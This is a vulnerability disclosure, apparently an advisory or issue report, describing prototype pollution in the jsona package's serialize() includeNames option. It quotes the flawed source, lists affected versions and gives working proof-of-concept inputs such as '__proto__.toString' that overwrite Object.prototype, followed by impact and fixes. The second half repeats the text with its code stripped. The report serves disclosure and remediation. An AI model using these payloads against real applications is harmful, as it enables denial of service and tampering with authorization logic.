Jsona.serialize() has a prototype pollution issue in its includeNames handling.
includeNames is used to include related resources. The README documents this as a way to include relationship names, including nested relationships with dot notation, for example:
includeNames: ['categories', 'town.country']
However, includeNames is converted into a nested object tree without filtering prototype-related path segments such as __proto__, constructor, or prototype. As a result, a path such as __proto__.toString writes to Object.prototype.
Affected package:
I also checked several versions:
0.1.6 not affected
0.2.3 not affected
1.0.0 affected
1.9.7 affected
1.10.1 affected
1.13.0 affected
1.14.0 affected
So the likely affected range is:
Relevant source:
// src/builders/ModelsSerializer.ts
setIncludeNames(includeNames) {
if (Array.isArray(includeNames)) {
const includeNamesTree = {};
includeNames.forEach((namesChain) => {
createIncludeNamesTree(namesChain, includeNamesTree);
});
this.includeNamesTree = includeNamesTree;
} else {
this.includeNamesTree = includeNames;
}
}
// src/utils.ts
export function createIncludeNamesTree(namesChain, includeTree): void {
const namesArray = namesChain.split('.');
const currentIncludeName = namesArray.shift();
const chainHasMoreNames = namesArray.length;
let subTree = null;
if (chainHasMoreNames) {
subTree = includeTree[currentIncludeName] || {};
createIncludeNamesTree(namesArray.join('.'), subTree);
}
includeTree[currentIncludeName] = subTree;
}
When currentIncludeName is __proto__, this line reads Object.prototype:
subTree = includeTree[currentIncludeName] || {};
The recursive call then writes attacker-controlled properties onto Object.prototype.
PoC:
const { Jsona } = require('jsona');
delete Object.prototype.pp;
new Jsona().serialize({
stuff: {
id: '1',
type: 'article',
title: 'Hello',
},
includeNames: ['__proto__.pp'],
});
console.log(Object.prototype.hasOwnProperty.call(Object.prototype, 'pp'));
console.log(({}).pp);
delete Object.prototype.pp;
Observed output:
This also allows overwriting existing inherited properties. For example:
const { Jsona } = require('jsona');
const originalToString = Object.prototype.toString;
new Jsona().serialize({
stuff: {
id: '1',
type: 'article',
},
includeNames: ['__proto__.toString'],
});
console.log(Object.prototype.hasOwnProperty.call(Object.prototype, 'toString'));
console.log(Object.prototype.toString);
try {
console.log(String({}));
} catch (error) {
console.log(error.name + ': ' + error.message);
}
Object.prototype.toString = originalToString;
Observed output:
true
null
TypeError: Cannot convert object to primitive value
Expected behavior:
includeNames should only describe JSON:API relationship paths. Prototype-related path segments should not modify JavaScript built-in prototypes.
Actual behavior:
includeNames can write properties to Object.prototype, causing process-wide prototype pollution.
Impact:
If an application passes attacker-controlled or less-trusted relationship include paths to Jsona.serialize(), an attacker can pollute Object.prototype. This can affect unrelated objects in the same process. At minimum, this can cause denial of service by overwriting properties such as toString; depending on application-specific gadgets, it may also affect authorization or other business logic that reads inherited properties.
Suggested fix:
- Reject path segments equal to
__proto__, constructor, or prototype.
- Build
includeNamesTree using null-prototype objects, for example Object.create(null).
- Use own-property checks when reading existing include tree nodes, for example
Object.prototype.hasOwnProperty.call(includeTree, currentIncludeName).
Jsona.serialize()has a prototype pollution issue in itsincludeNameshandling.includeNamesis used to include related resources. The README documents this as a way to include relationship names, including nested relationships with dot notation, for example:However,
includeNamesis converted into a nested object tree without filtering prototype-related path segments such as__proto__,constructor, orprototype. As a result, a path such as__proto__.toStringwrites toObject.prototype.Affected package:
I also checked several versions:
So the likely affected range is:
Relevant source:
When
currentIncludeNameis__proto__, this line readsObject.prototype:The recursive call then writes attacker-controlled properties onto
Object.prototype.PoC:
Observed output:
This also allows overwriting existing inherited properties. For example:
Observed output:
Expected behavior:
includeNamesshould only describe JSON:API relationship paths. Prototype-related path segments should not modify JavaScript built-in prototypes.Actual behavior:
includeNamescan write properties toObject.prototype, causing process-wide prototype pollution.Impact:
If an application passes attacker-controlled or less-trusted relationship include paths to
Jsona.serialize(), an attacker can polluteObject.prototype. This can affect unrelated objects in the same process. At minimum, this can cause denial of service by overwriting properties such astoString; depending on application-specific gadgets, it may also affect authorization or other business logic that reads inherited properties.Suggested fix:
__proto__,constructor, orprototype.includeNamesTreeusing null-prototype objects, for exampleObject.create(null).Object.prototype.hasOwnProperty.call(includeTree, currentIncludeName).